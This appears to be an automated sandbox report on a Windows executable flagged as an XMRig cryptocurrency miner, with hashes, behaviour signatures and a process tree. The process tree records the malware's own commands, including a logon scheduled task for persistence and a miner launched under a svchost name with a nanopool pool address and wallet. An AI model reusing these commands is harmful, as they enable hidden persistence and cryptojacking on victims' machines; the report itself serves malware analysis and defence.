Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
2s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
-
submitted
26/12/2023, 16:44
General
-
Target
7da815482a6deabaadfca2ebde258c77.exe
-
Size
2.1MB
-
MD5
7da815482a6deabaadfca2ebde258c77
-
SHA1
31ddcc3dcec75d0e74c5e0fb99dfc968cf3d0202
-
SHA256
aed297ca559dd8cd5c719950db5d8741ac1115ed7f24ebbac1ca366a1128f595
-
SHA512
1cfd9abfe8abd354ea011bf8ebfeb8968bdae0c8667ef2f5ca218270a21ee3614f1ab8882ce1412c0b45faacbc7cac52b1583b05fec06d74cbef1b5aad40084d
-
SSDEEP
49152:MlEA+BH8MHhkjb646ATB4X22StMFaTTLGej16bf4cqcj:8GBRSi4Zl4X23tPLGej16b4cq
Malware Config
Signatures
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
XMRig Miner payload 7 IoCs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes
-
C:\Users\Admin\AppData\Local\Temp\7da815482a6deabaadfca2ebde258c77.exe"C:\Users\Admin\AppData\Local\Temp\7da815482a6deabaadfca2ebde258c77.exe"1⤵
- Checks computer location settings
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'3⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Local\Temp\Services.exe"C:\Users\Admin\AppData\Local\Temp\Services.exe"2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit3⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"3⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows/System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14433 --user=42z9Fe3LwWgBe2iDmJqvmHDNsAKroadk13jHpA6DaGUiR9x8hi8vrfdUbe2YyAtXBVXZLHcKNhd3BKaCGEF8UVmeQXtazxF.main/kevjazw --pass= --cpu-max-threads-hint=40 --donate-level=5 --unam-idle-wait=5 --unam-idle-cpu=80 --tls --unam-stealth3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'1⤵
- Creates scheduled task(s)
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
57KB
MD5e2dd2c411e27864c0684d4eb2a002676
SHA111dd5fd965d1a305b2daacf09f65fc9b350f5184
SHA2565266decefed5fc25719245e437e01c011a0d85672cf8de70ad8e5f8d1dd8e25b
SHA512f44e36dca0b7eae319257eea6f9177fe49e46f8089fccfeb976477b3ffa512502d7cfcd4c8fa795f3666ea5f64a615347a52ac67c13f9b41d6d5d623b25546f3
-
Filesize
90KB
MD54db99754f18a41560bd685a9fdd2bc63
SHA1cca4cf914cb8bd2df948deec31d64b591af0fe52
SHA256350e00c1f3f91564b56bb7556b9bd3d813a23e22013344db6d8aac7215dd23de
SHA512c8000af7ad9a8f9835f93d8e22e1eddf3626b45a82a83330adb5477abfbc04cb4b1b2365701f37901f3e0c2e56a317ca83455de488ee4a6646c52c8ed1654d86
-
Filesize
111KB
MD58522dd966cfe37471c0c6e033e69ac04
SHA14ca8a9a38ac019495e91a8299b2fe09395f0a704
SHA25677b1a0ef175f6c072399596163fd3938eb8ba5acfa7a61150fae2b60cf323f43
SHA51225862b1d48603170a25ac1c8a4dc794b832d94f5106e57660bc2eb9a4affe9afadce184086cfcf9789f0ec51f9256e234ce60857c69c93c16b885583b8ce59e7
-
Filesize
57KB
MD56a8f2c9fe6d158767ead847d912cb0f1
SHA18f22fe00a7d66306c9c46e2aacbc7b32d8fcb9ea
SHA256cbec2a29bf511aec7356fa0d581ac6ee04ede1d909d9742d61141dc9736a21f9
SHA51275e3c1e8f21a3622beaa4c697c977391ea179887dcb3be92fbfdf5a595f8b86d8f17bc398fda57a74eb593effe081b90463f4764dfc8e4067563bb1899e22f9e
-
Filesize
64KB
-
Filesize
24KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
80KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
2.1MB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
2.1MB
-
Filesize
72KB
-
Filesize
56KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
7.3MB
-
Filesize
7.3MB
-
Filesize
7.3MB
-
Filesize
80KB
-
Filesize
128KB
-
Filesize
7.3MB
-
Filesize
7.3MB
-
Filesize
7.3MB
-
Filesize
7.3MB
-
Filesize
7.3MB
-
Filesize
7.3MB
-
Filesize
7.3MB
-
Filesize
256KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
7.3MB
-
Filesize
128KB
-
Filesize
7.3MB
-
Filesize
7.3MB
-
Filesize
7.3MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
64KB